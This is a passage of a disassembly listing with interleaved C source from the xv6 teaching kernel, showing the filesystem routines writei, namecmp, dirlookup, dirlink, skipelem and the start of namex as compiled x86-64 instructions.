ffff8000001031bd: 48 98 cltq
ffff8000001031bf: 48 c1 e0 04 shl $0x4,%rax
ffff8000001031c3: 48 01 d0 add %rdx,%rax
ffff8000001031c6: 48 83 c0 08 add $0x8,%rax
ffff8000001031ca: 4c 8b 00 mov (%rax),%r8
ffff8000001031cd: 8b 4d c8 mov -0x38(%rbp),%ecx
ffff8000001031d0: 48 8b 55 d0 mov -0x30(%rbp),%rdx
ffff8000001031d4: 8b 75 cc mov -0x34(%rbp),%esi
ffff8000001031d7: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff8000001031db: 48 89 c7 mov %rax,%rdi
ffff8000001031de: 41 ff d0 callq *%r8
ffff8000001031e1: e9 4e 01 00 00 jmpq ffff800000103334 <writei+0x212>
}
if(off > ip->size || off + n < off)
ffff8000001031e6: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff8000001031ea: 8b 80 9c 00 00 00 mov 0x9c(%rax),%eax
ffff8000001031f0: 39 45 cc cmp %eax,-0x34(%rbp)
ffff8000001031f3: 77 0d ja ffff800000103202 <writei+0xe0>
ffff8000001031f5: 8b 55 cc mov -0x34(%rbp),%edx
ffff8000001031f8: 8b 45 c8 mov -0x38(%rbp),%eax
ffff8000001031fb: 01 d0 add %edx,%eax
ffff8000001031fd: 39 45 cc cmp %eax,-0x34(%rbp)
ffff800000103200: 76 0a jbe ffff80000010320c <writei+0xea>
return -1;
ffff800000103202: b8 ff ff ff ff mov $0xffffffff,%eax
ffff800000103207: e9 28 01 00 00 jmpq ffff800000103334 <writei+0x212>
if(off + n > MAXFILE*BSIZE)
ffff80000010320c: 8b 55 cc mov -0x34(%rbp),%edx
ffff80000010320f: 8b 45 c8 mov -0x38(%rbp),%eax
ffff800000103212: 01 d0 add %edx,%eax
ffff800000103214: 3d 00 18 01 00 cmp $0x11800,%eax
ffff800000103219: 76 0a jbe ffff800000103225 <writei+0x103>
return -1;
ffff80000010321b: b8 ff ff ff ff mov $0xffffffff,%eax
ffff800000103220: e9 0f 01 00 00 jmpq ffff800000103334 <writei+0x212>
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
ffff800000103225: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
ffff80000010322c: e9 bf 00 00 00 jmpq ffff8000001032f0 <writei+0x1ce>
bp = bread(ip->dev, bmap(ip, off/BSIZE));
ffff800000103231: 8b 45 cc mov -0x34(%rbp),%eax
ffff800000103234: c1 e8 09 shr $0x9,%eax
ffff800000103237: 89 c2 mov %eax,%edx
ffff800000103239: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff80000010323d: 89 d6 mov %edx,%esi
ffff80000010323f: 48 89 c7 mov %rax,%rdi
ffff800000103242: 48 b8 11 2c 10 00 00 movabs $0xffff800000102c11,%rax
ffff800000103249: 80 ff ff
ffff80000010324c: ff d0 callq *%rax
ffff80000010324e: 89 c2 mov %eax,%edx
ffff800000103250: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000103254: 8b 00 mov (%rax),%eax
ffff800000103256: 89 d6 mov %edx,%esi
ffff800000103258: 89 c7 mov %eax,%edi
ffff80000010325a: 48 b8 be 03 10 00 00 movabs $0xffff8000001003be,%rax
ffff800000103261: 80 ff ff
ffff800000103264: ff d0 callq *%rax
ffff800000103266: 48 89 45 f0 mov %rax,-0x10(%rbp)
m = min(n - tot, BSIZE - off%BSIZE);
ffff80000010326a: 8b 45 cc mov -0x34(%rbp),%eax
ffff80000010326d: 25 ff 01 00 00 and $0x1ff,%eax
ffff800000103272: ba 00 02 00 00 mov $0x200,%edx
ffff800000103277: 29 c2 sub %eax,%edx
ffff800000103279: 8b 45 c8 mov -0x38(%rbp),%eax
ffff80000010327c: 2b 45 fc sub -0x4(%rbp),%eax
ffff80000010327f: 39 c2 cmp %eax,%edx
ffff800000103281: 0f 46 c2 cmovbe %edx,%eax
ffff800000103284: 89 45 ec mov %eax,-0x14(%rbp)
memmove(bp->data + off%BSIZE, src, m);
ffff800000103287: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff80000010328b: 48 8d 90 b0 00 00 00 lea 0xb0(%rax),%rdx
ffff800000103292: 8b 45 cc mov -0x34(%rbp),%eax
ffff800000103295: 25 ff 01 00 00 and $0x1ff,%eax
ffff80000010329a: 48 8d 0c 02 lea (%rdx,%rax,1),%rcx
ffff80000010329e: 8b 55 ec mov -0x14(%rbp),%edx
ffff8000001032a1: 48 8b 45 d0 mov -0x30(%rbp),%rax
ffff8000001032a5: 48 89 c6 mov %rax,%rsi
ffff8000001032a8: 48 89 cf mov %rcx,%rdi
ffff8000001032ab: 48 b8 10 7d 10 00 00 movabs $0xffff800000107d10,%rax
ffff8000001032b2: 80 ff ff
ffff8000001032b5: ff d0 callq *%rax
log_write(bp);
ffff8000001032b7: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff8000001032bb: 48 89 c7 mov %rax,%rdi
ffff8000001032be: 48 b8 21 56 10 00 00 movabs $0xffff800000105621,%rax
ffff8000001032c5: 80 ff ff
ffff8000001032c8: ff d0 callq *%rax
brelse(bp);
ffff8000001032ca: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff8000001032ce: 48 89 c7 mov %rax,%rdi
ffff8000001032d1: 48 b8 78 04 10 00 00 movabs $0xffff800000100478,%rax
ffff8000001032d8: 80 ff ff
ffff8000001032db: ff d0 callq *%rax
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
ffff8000001032dd: 8b 45 ec mov -0x14(%rbp),%eax
ffff8000001032e0: 01 45 fc add %eax,-0x4(%rbp)
ffff8000001032e3: 8b 45 ec mov -0x14(%rbp),%eax
ffff8000001032e6: 01 45 cc add %eax,-0x34(%rbp)
ffff8000001032e9: 8b 45 ec mov -0x14(%rbp),%eax
ffff8000001032ec: 48 01 45 d0 add %rax,-0x30(%rbp)
ffff8000001032f0: 8b 45 fc mov -0x4(%rbp),%eax
ffff8000001032f3: 3b 45 c8 cmp -0x38(%rbp),%eax
ffff8000001032f6: 0f 82 35 ff ff ff jb ffff800000103231 <writei+0x10f>
}
if(n > 0 && off > ip->size){
ffff8000001032fc: 83 7d c8 00 cmpl $0x0,-0x38(%rbp)
ffff800000103300: 74 2f je ffff800000103331 <writei+0x20f>
ffff800000103302: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000103306: 8b 80 9c 00 00 00 mov 0x9c(%rax),%eax
ffff80000010330c: 39 45 cc cmp %eax,-0x34(%rbp)
ffff80000010330f: 76 20 jbe ffff800000103331 <writei+0x20f>
ip->size = off;
ffff800000103311: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000103315: 8b 55 cc mov -0x34(%rbp),%edx
ffff800000103318: 89 90 9c 00 00 00 mov %edx,0x9c(%rax)
iupdate(ip);
ffff80000010331e: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000103322: 48 89 c7 mov %rax,%rdi
ffff800000103325: 48 b8 4a 26 10 00 00 movabs $0xffff80000010264a,%rax
ffff80000010332c: 80 ff ff
ffff80000010332f: ff d0 callq *%rax
}
return n;
ffff800000103331: 8b 45 c8 mov -0x38(%rbp),%eax
}
ffff800000103334: c9 leaveq
ffff800000103335: c3 retq
ffff800000103336 <namecmp>:
//PAGEBREAK!
// Directories
int
namecmp(const char *s, const char *t)
{
ffff800000103336: f3 0f 1e fa endbr64
ffff80000010333a: 55 push %rbp
ffff80000010333b: 48 89 e5 mov %rsp,%rbp
ffff80000010333e: 48 83 ec 10 sub $0x10,%rsp
ffff800000103342: 48 89 7d f8 mov %rdi,-0x8(%rbp)
ffff800000103346: 48 89 75 f0 mov %rsi,-0x10(%rbp)
return strncmp(s, t, DIRSIZ);
ffff80000010334a: 48 8b 4d f0 mov -0x10(%rbp),%rcx
ffff80000010334e: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000103352: ba 0e 00 00 00 mov $0xe,%edx
ffff800000103357: 48 89 ce mov %rcx,%rsi
ffff80000010335a: 48 89 c7 mov %rax,%rdi
ffff80000010335d: 48 b8 ed 7d 10 00 00 movabs $0xffff800000107ded,%rax
ffff800000103364: 80 ff ff
ffff800000103367: ff d0 callq *%rax
}
ffff800000103369: c9 leaveq
ffff80000010336a: c3 retq
ffff80000010336b <dirlookup>:
// Look for a directory entry in a directory.
// If found, set *poff to byte offset of entry.
struct inode*
dirlookup(struct inode *dp, char *name, uint *poff)
{
ffff80000010336b: f3 0f 1e fa endbr64
ffff80000010336f: 55 push %rbp
ffff800000103370: 48 89 e5 mov %rsp,%rbp
ffff800000103373: 48 83 ec 40 sub $0x40,%rsp
ffff800000103377: 48 89 7d d8 mov %rdi,-0x28(%rbp)
ffff80000010337b: 48 89 75 d0 mov %rsi,-0x30(%rbp)
ffff80000010337f: 48 89 55 c8 mov %rdx,-0x38(%rbp)
uint off, inum;
struct dirent de;
if(dp->type != T_DIR)
ffff800000103383: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000103387: 0f b7 80 94 00 00 00 movzwl 0x94(%rax),%eax
ffff80000010338e: 66 83 f8 01 cmp $0x1,%ax
ffff800000103392: 74 16 je ffff8000001033aa <dirlookup+0x3f>
panic("dirlookup not DIR");
ffff800000103394: 48 bf dd c5 10 00 00 movabs $0xffff80000010c5dd,%rdi
ffff80000010339b: 80 ff ff
ffff80000010339e: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff8000001033a5: 80 ff ff
ffff8000001033a8: ff d0 callq *%rax
for(off = 0; off < dp->size; off += sizeof(de)){
ffff8000001033aa: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
ffff8000001033b1: e9 9f 00 00 00 jmpq ffff800000103455 <dirlookup+0xea>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
ffff8000001033b6: 8b 55 fc mov -0x4(%rbp),%edx
ffff8000001033b9: 48 8d 75 e0 lea -0x20(%rbp),%rsi
ffff8000001033bd: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff8000001033c1: b9 10 00 00 00 mov $0x10,%ecx
ffff8000001033c6: 48 89 c7 mov %rax,%rdi
ffff8000001033c9: 48 b8 51 2f 10 00 00 movabs $0xffff800000102f51,%rax
ffff8000001033d0: 80 ff ff
ffff8000001033d3: ff d0 callq *%rax
ffff8000001033d5: 83 f8 10 cmp $0x10,%eax
ffff8000001033d8: 74 16 je ffff8000001033f0 <dirlookup+0x85>
panic("dirlookup read");
ffff8000001033da: 48 bf ef c5 10 00 00 movabs $0xffff80000010c5ef,%rdi
ffff8000001033e1: 80 ff ff
ffff8000001033e4: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff8000001033eb: 80 ff ff
ffff8000001033ee: ff d0 callq *%rax
if(de.inum == 0)
ffff8000001033f0: 0f b7 45 e0 movzwl -0x20(%rbp),%eax
ffff8000001033f4: 66 85 c0 test %ax,%ax
ffff8000001033f7: 74 57 je ffff800000103450 <dirlookup+0xe5>
continue;
if(namecmp(name, de.name) == 0){
ffff8000001033f9: 48 8d 45 e0 lea -0x20(%rbp),%rax
ffff8000001033fd: 48 8d 50 02 lea 0x2(%rax),%rdx
ffff800000103401: 48 8b 45 d0 mov -0x30(%rbp),%rax
ffff800000103405: 48 89 d6 mov %rdx,%rsi
ffff800000103408: 48 89 c7 mov %rax,%rdi
ffff80000010340b: 48 b8 36 33 10 00 00 movabs $0xffff800000103336,%rax
ffff800000103412: 80 ff ff
ffff800000103415: ff d0 callq *%rax
ffff800000103417: 85 c0 test %eax,%eax
ffff800000103419: 75 36 jne ffff800000103451 <dirlookup+0xe6>
// entry matches path element
if(poff)
ffff80000010341b: 48 83 7d c8 00 cmpq $0x0,-0x38(%rbp)
ffff800000103420: 74 09 je ffff80000010342b <dirlookup+0xc0>
*poff = off;
ffff800000103422: 48 8b 45 c8 mov -0x38(%rbp),%rax
ffff800000103426: 8b 55 fc mov -0x4(%rbp),%edx
ffff800000103429: 89 10 mov %edx,(%rax)
inum = de.inum;
ffff80000010342b: 0f b7 45 e0 movzwl -0x20(%rbp),%eax
ffff80000010342f: 0f b7 c0 movzwl %ax,%eax
ffff800000103432: 89 45 f8 mov %eax,-0x8(%rbp)
return iget(dp->dev, inum);
ffff800000103435: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000103439: 8b 00 mov (%rax),%eax
ffff80000010343b: 8b 55 f8 mov -0x8(%rbp),%edx
ffff80000010343e: 89 d6 mov %edx,%esi
ffff800000103440: 89 c7 mov %eax,%edi
ffff800000103442: 48 b8 60 27 10 00 00 movabs $0xffff800000102760,%rax
ffff800000103449: 80 ff ff
ffff80000010344c: ff d0 callq *%rax
ffff80000010344e: eb 1d jmp ffff80000010346d <dirlookup+0x102>
continue;
ffff800000103450: 90 nop
for(off = 0; off < dp->size; off += sizeof(de)){
ffff800000103451: 83 45 fc 10 addl $0x10,-0x4(%rbp)
ffff800000103455: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000103459: 8b 80 9c 00 00 00 mov 0x9c(%rax),%eax
ffff80000010345f: 39 45 fc cmp %eax,-0x4(%rbp)
ffff800000103462: 0f 82 4e ff ff ff jb ffff8000001033b6 <dirlookup+0x4b>
}
}
return 0;
ffff800000103468: b8 00 00 00 00 mov $0x0,%eax
}
ffff80000010346d: c9 leaveq
ffff80000010346e: c3 retq
ffff80000010346f <dirlink>:
// Write a new directory entry (name, inum) into the directory dp.
int
dirlink(struct inode *dp, char *name, uint inum)
{
ffff80000010346f: f3 0f 1e fa endbr64
ffff800000103473: 55 push %rbp
ffff800000103474: 48 89 e5 mov %rsp,%rbp
ffff800000103477: 48 83 ec 40 sub $0x40,%rsp
ffff80000010347b: 48 89 7d d8 mov %rdi,-0x28(%rbp)
ffff80000010347f: 48 89 75 d0 mov %rsi,-0x30(%rbp)
ffff800000103483: 89 55 cc mov %edx,-0x34(%rbp)
int off;
struct dirent de;
struct inode *ip;
// Check that name is not present.
if((ip = dirlookup(dp, name, 0)) != 0){
ffff800000103486: 48 8b 4d d0 mov -0x30(%rbp),%rcx
ffff80000010348a: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff80000010348e: ba 00 00 00 00 mov $0x0,%edx
ffff800000103493: 48 89 ce mov %rcx,%rsi
ffff800000103496: 48 89 c7 mov %rax,%rdi
ffff800000103499: 48 b8 6b 33 10 00 00 movabs $0xffff80000010336b,%rax
ffff8000001034a0: 80 ff ff
ffff8000001034a3: ff d0 callq *%rax
ffff8000001034a5: 48 89 45 f0 mov %rax,-0x10(%rbp)
ffff8000001034a9: 48 83 7d f0 00 cmpq $0x0,-0x10(%rbp)
ffff8000001034ae: 74 1d je ffff8000001034cd <dirlink+0x5e>
iput(ip);
ffff8000001034b0: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff8000001034b4: 48 89 c7 mov %rax,%rdi
ffff8000001034b7: 48 b8 ea 2a 10 00 00 movabs $0xffff800000102aea,%rax
ffff8000001034be: 80 ff ff
ffff8000001034c1: ff d0 callq *%rax
return -1;
ffff8000001034c3: b8 ff ff ff ff mov $0xffffffff,%eax
ffff8000001034c8: e9 d2 00 00 00 jmpq ffff80000010359f <dirlink+0x130>
}
// Look for an empty dirent.
for(off = 0; off < dp->size; off += sizeof(de)){
ffff8000001034cd: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
ffff8000001034d4: eb 4c jmp ffff800000103522 <dirlink+0xb3>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
ffff8000001034d6: 8b 55 fc mov -0x4(%rbp),%edx
ffff8000001034d9: 48 8d 75 e0 lea -0x20(%rbp),%rsi
ffff8000001034dd: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff8000001034e1: b9 10 00 00 00 mov $0x10,%ecx
ffff8000001034e6: 48 89 c7 mov %rax,%rdi
ffff8000001034e9: 48 b8 51 2f 10 00 00 movabs $0xffff800000102f51,%rax
ffff8000001034f0: 80 ff ff
ffff8000001034f3: ff d0 callq *%rax
ffff8000001034f5: 83 f8 10 cmp $0x10,%eax
ffff8000001034f8: 74 16 je ffff800000103510 <dirlink+0xa1>
panic("dirlink read");
ffff8000001034fa: 48 bf fe c5 10 00 00 movabs $0xffff80000010c5fe,%rdi
ffff800000103501: 80 ff ff
ffff800000103504: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff80000010350b: 80 ff ff
ffff80000010350e: ff d0 callq *%rax
if(de.inum == 0)
ffff800000103510: 0f b7 45 e0 movzwl -0x20(%rbp),%eax
ffff800000103514: 66 85 c0 test %ax,%ax
ffff800000103517: 74 1c je ffff800000103535 <dirlink+0xc6>
for(off = 0; off < dp->size; off += sizeof(de)){
ffff800000103519: 8b 45 fc mov -0x4(%rbp),%eax
ffff80000010351c: 83 c0 10 add $0x10,%eax
ffff80000010351f: 89 45 fc mov %eax,-0x4(%rbp)
ffff800000103522: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000103526: 8b 90 9c 00 00 00 mov 0x9c(%rax),%edx
ffff80000010352c: 8b 45 fc mov -0x4(%rbp),%eax
ffff80000010352f: 39 c2 cmp %eax,%edx
ffff800000103531: 77 a3 ja ffff8000001034d6 <dirlink+0x67>
ffff800000103533: eb 01 jmp ffff800000103536 <dirlink+0xc7>
break;
ffff800000103535: 90 nop
}
strncpy(de.name, name, DIRSIZ);
ffff800000103536: 48 8b 45 d0 mov -0x30(%rbp),%rax
ffff80000010353a: 48 8d 55 e0 lea -0x20(%rbp),%rdx
ffff80000010353e: 48 8d 4a 02 lea 0x2(%rdx),%rcx
ffff800000103542: ba 0e 00 00 00 mov $0xe,%edx
ffff800000103547: 48 89 c6 mov %rax,%rsi
ffff80000010354a: 48 89 cf mov %rcx,%rdi
ffff80000010354d: 48 b8 5e 7e 10 00 00 movabs $0xffff800000107e5e,%rax
ffff800000103554: 80 ff ff
ffff800000103557: ff d0 callq *%rax
de.inum = inum;
ffff800000103559: 8b 45 cc mov -0x34(%rbp),%eax
ffff80000010355c: 66 89 45 e0 mov %ax,-0x20(%rbp)
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
ffff800000103560: 8b 55 fc mov -0x4(%rbp),%edx
ffff800000103563: 48 8d 75 e0 lea -0x20(%rbp),%rsi
ffff800000103567: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff80000010356b: b9 10 00 00 00 mov $0x10,%ecx
ffff800000103570: 48 89 c7 mov %rax,%rdi
ffff800000103573: 48 b8 22 31 10 00 00 movabs $0xffff800000103122,%rax
ffff80000010357a: 80 ff ff
ffff80000010357d: ff d0 callq *%rax
ffff80000010357f: 83 f8 10 cmp $0x10,%eax
ffff800000103582: 74 16 je ffff80000010359a <dirlink+0x12b>
panic("dirlink");
ffff800000103584: 48 bf 0b c6 10 00 00 movabs $0xffff80000010c60b,%rdi
ffff80000010358b: 80 ff ff
ffff80000010358e: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff800000103595: 80 ff ff
ffff800000103598: ff d0 callq *%rax
return 0;
ffff80000010359a: b8 00 00 00 00 mov $0x0,%eax
}
ffff80000010359f: c9 leaveq
ffff8000001035a0: c3 retq
ffff8000001035a1 <skipelem>:
// skipelem("a", name) = "", setting name = "a"
// skipelem("", name) = skipelem("////", name) = 0
//
static char*
skipelem(char *path, char *name)
{
ffff8000001035a1: f3 0f 1e fa endbr64
ffff8000001035a5: 55 push %rbp
ffff8000001035a6: 48 89 e5 mov %rsp,%rbp
ffff8000001035a9: 48 83 ec 20 sub $0x20,%rsp
ffff8000001035ad: 48 89 7d e8 mov %rdi,-0x18(%rbp)
ffff8000001035b1: 48 89 75 e0 mov %rsi,-0x20(%rbp)
char *s;
int len;
while(*path == '/')
ffff8000001035b5: eb 05 jmp ffff8000001035bc <skipelem+0x1b>
path++;
ffff8000001035b7: 48 83 45 e8 01 addq $0x1,-0x18(%rbp)
while(*path == '/')
ffff8000001035bc: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001035c0: 0f b6 00 movzbl (%rax),%eax
ffff8000001035c3: 3c 2f cmp $0x2f,%al
ffff8000001035c5: 74 f0 je ffff8000001035b7 <skipelem+0x16>
if(*path == 0)
ffff8000001035c7: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001035cb: 0f b6 00 movzbl (%rax),%eax
ffff8000001035ce: 84 c0 test %al,%al
ffff8000001035d0: 75 0a jne ffff8000001035dc <skipelem+0x3b>
return 0;
ffff8000001035d2: b8 00 00 00 00 mov $0x0,%eax
ffff8000001035d7: e9 9a 00 00 00 jmpq ffff800000103676 <skipelem+0xd5>
s = path;
ffff8000001035dc: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001035e0: 48 89 45 f8 mov %rax,-0x8(%rbp)
while(*path != '/' && *path != 0)
ffff8000001035e4: eb 05 jmp ffff8000001035eb <skipelem+0x4a>
path++;
ffff8000001035e6: 48 83 45 e8 01 addq $0x1,-0x18(%rbp)
while(*path != '/' && *path != 0)
ffff8000001035eb: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001035ef: 0f b6 00 movzbl (%rax),%eax
ffff8000001035f2: 3c 2f cmp $0x2f,%al
ffff8000001035f4: 74 0b je ffff800000103601 <skipelem+0x60>
ffff8000001035f6: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001035fa: 0f b6 00 movzbl (%rax),%eax
ffff8000001035fd: 84 c0 test %al,%al
ffff8000001035ff: 75 e5 jne ffff8000001035e6 <skipelem+0x45>
len = path - s;
ffff800000103601: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000103605: 48 2b 45 f8 sub -0x8(%rbp),%rax
ffff800000103609: 89 45 f4 mov %eax,-0xc(%rbp)
if(len >= DIRSIZ)
ffff80000010360c: 83 7d f4 0d cmpl $0xd,-0xc(%rbp)
ffff800000103610: 7e 21 jle ffff800000103633 <skipelem+0x92>
memmove(name, s, DIRSIZ);
ffff800000103612: 48 8b 4d f8 mov -0x8(%rbp),%rcx
ffff800000103616: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff80000010361a: ba 0e 00 00 00 mov $0xe,%edx
ffff80000010361f: 48 89 ce mov %rcx,%rsi
ffff800000103622: 48 89 c7 mov %rax,%rdi
ffff800000103625: 48 b8 10 7d 10 00 00 movabs $0xffff800000107d10,%rax
ffff80000010362c: 80 ff ff
ffff80000010362f: ff d0 callq *%rax
ffff800000103631: eb 34 jmp ffff800000103667 <skipelem+0xc6>
else {
memmove(name, s, len);
ffff800000103633: 8b 55 f4 mov -0xc(%rbp),%edx
ffff800000103636: 48 8b 4d f8 mov -0x8(%rbp),%rcx
ffff80000010363a: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff80000010363e: 48 89 ce mov %rcx,%rsi
ffff800000103641: 48 89 c7 mov %rax,%rdi
ffff800000103644: 48 b8 10 7d 10 00 00 movabs $0xffff800000107d10,%rax
ffff80000010364b: 80 ff ff
ffff80000010364e: ff d0 callq *%rax
name[len] = 0;
ffff800000103650: 8b 45 f4 mov -0xc(%rbp),%eax
ffff800000103653: 48 63 d0 movslq %eax,%rdx
ffff800000103656: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff80000010365a: 48 01 d0 add %rdx,%rax
ffff80000010365d: c6 00 00 movb $0x0,(%rax)
}
while(*path == '/')
ffff800000103660: eb 05 jmp ffff800000103667 <skipelem+0xc6>
path++;
ffff800000103662: 48 83 45 e8 01 addq $0x1,-0x18(%rbp)
while(*path == '/')
ffff800000103667: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010366b: 0f b6 00 movzbl (%rax),%eax
ffff80000010366e: 3c 2f cmp $0x2f,%al
ffff800000103670: 74 f0 je ffff800000103662 <skipelem+0xc1>
return path;
ffff800000103672: 48 8b 45 e8 mov -0x18(%rbp),%rax
}
ffff800000103676: c9 leaveq
ffff800000103677: c3 retq
ffff800000103678 <namex>:
// If parent != 0, return the inode for the parent and copy the final
// path element into name, which must have room for DIRSIZ bytes.
// Must be called inside a transaction since it calls iput().
static struct inode*
namex(char *path, int nameiparent, char *name)
{
ffff800000103678: f3 0f 1e fa endbr64
ffff80000010367c: 55 push %rbp
ffff80000010367d: 48 89 e5 mov %rsp,%rbp
ffff800000103680: 48 83 ec 30 sub $0x30,%rsp
ffff800000103684: 48 89 7d e8 mov %rdi,-0x18(%rbp)
ffff800000103688: 89 75 e4 mov %esi,-0x1c(%rbp)
ffff80000010368b: 48 89 55 d8 mov %rdx,-0x28(%rbp)
struct inode *ip, *next;
if(*path == '/')
ffff80000010368f: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000103693: 0f b6 00 movzbl (%rax),%eax
ffff800000103696: 3c 2f cmp $0x2f,%al
ffff800000103698: 75 1f jne ffff8000001036b9 <namex+0x41>
ip = iget(ROOTDEV, ROOTINO);
ffff80000010369a: be 01 00 00 00 mov $0x1,%esi
ffff80000010369f: bf 01 00 00 00 mov $0x1,%edi
ffff8000001036a4: 48 b8 60 27 10 00 00 movabs $0xffff800000102760,%rax
ffff8000001036ab: 80 ff ff
ffff8000001036ae: ff d0 callq *%rax
ffff8000001036b0: 48 89 45 f8 mov %rax,-0x8(%rbp)
ffff8000001036b4: e9 f7 00 00 00 jmpq ffff8000001037b0 <namex+0x138>
else
ip = idup(proc->cwd);
ffff8000001036b9: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff8000001036c0: 64 48 8b 00 mov %fs:(%rax),%rax
ffff8000001036c4: 48 8b 80 c8 00 00 00 mov 0xc8(%rax),%rax
ffff8000001036cb: 48 89 c7 mov %rax,%rdi
ffff8000001036ce: 48 b8 95 28 10 00 00 movabs $0xffff800000102895,%rax
ffff8000001036d5: 80 ff ff
ffff8000001036d8: ff d0 callq *%rax
ffff8000001036da: 48 89 45 f8 mov %rax,-0x8(%rbp)
while((path = skipelem(path, name)) != 0){
ffff8000001036de: e9 cd 00 00 00 jmpq ffff8000001037b0 <namex+0x138>
ilock(ip);
ffff8000001036e3: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001036e7: 48 89 c7 mov %rax,%rdi
ffff8000001036ea: 48 b8 e8 28 10 00 00 movabs $0xffff8000001028e8,%rax
ffff8000001036f1: 80 ff ff
ffff8000001036f4: ff d0 callq *%rax
if(ip->type != T_DIR){
ffff8000001036f6: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001036fa: 0f b7 80 94 00 00 00 movzwl 0x94(%rax),%eax
ffff800000103701: 66 83 f8 01 cmp $0x1,%ax
ffff800000103705: 74 1d je ffff800000103724 <namex+0xac>
iunlockput(ip);
ffff800000103707: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010370b: 48 89 c7 mov %rax,%rdi
ffff80000010370e: 48 b8 d8 2b 10 00 00 movabs $0xffff800000102bd8,%rax
ffff800000103715: 80 ff ff
ffff800000103718: ff d0 callq *%rax
return 0;
ffff80000010371a: b8 00 00 00 00 mov $0x0,%eax
ffff80000010371f: e9 d9 00 00 00 jmpq ffff8000001037fd <namex+0x185>
}
if(nameiparent && *path == '\0'){
ffff800000103724: 83 7d e4 00 cmpl $0x0,-0x1c(%rbp)
ffff800000103728: 74 27 je ffff800000103751 <namex+0xd9>
ffff80000010372a: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010372e: 0f b6 00 movzbl (%rax),%eax
ffff800000103731: 84 c0 test %al,%al
ffff800000103733: 75 1c jne ffff800000103751 <namex+0xd9>
iunlock(ip); // Stop one level early.
ffff800000103735: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000103739: 48 89 c7 mov %rax,%rdi
ffff80000010373c: 48 b8 7d 2a 10 00 00 movabs $0xffff800000102a7d,%rax
ffff800000103743: 80 ff ff
ffff800000103746: ff d0 callq *%rax
return ip;
ffff800000103748: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010374c: e9 ac 00 00 00 jmpq ffff8000001037fd <namex+0x185>
}
if((next = dirlookup(ip, name, 0)) == 0){
ffff800000103751: 48 8b 4d d8 mov -0x28(%rbp),%rcx
ffff800000103755: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000103759: ba 00 00 00 00 mov $0x0,%edx
ffff80000010375e: 48 89 ce mov %rcx,%rsi
ffff800000103761: 48 89 c7 mov %rax,%rdi
ffff800000103764: 48 b8 6b 33 10 00 00 movabs $0xffff80000010336b,%rax
ffff80000010376b: 80 ff ff
ffff80000010376e: ff d0 callq *%rax
ffff800000103770: 48 89 45 f0 mov %rax,-0x10(%rbp)
ffff800000103774: 48 83 7d f0 00 cmpq $0x0,-0x10(%rbp)
ffff800000103779: 75 1a jne ffff800000103795 <namex+0x11d>
iunlockput(ip);
ffff80000010377b: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010377f: 48 89 c7 mov %rax,%rdi
ffff800000103782: 48 b8 d8 2b 10 00 00 movabs $0xffff800000102bd8,%rax
ffff800000103789: 80 ff ff
ffff80000010378c: ff d0 callq *%rax
return 0;
ffff80000010378e: b8 00 00 00 00 mov $0x0,%eax
ffff800000103793: eb 68 jmp ffff8000001037fd <namex+0x185>
}
iunlockput(ip);
ffff800000103795: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000103799: 48 89 c7 mov %rax,%rdi
ffff80000010379c: 48 b8 d8 2b 10 00 00 movabs $0xffff800000102bd8,%rax
ffff8000001037a3: 80 ff ff
ffff8000001037a6: ff d0 callq *%rax
ip = next;
ffff8000001037a8: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff8000001037ac: 48 89 45 f8 mov %rax,-0x8(%rbp)
while((path = skipelem(path, name)) != 0){
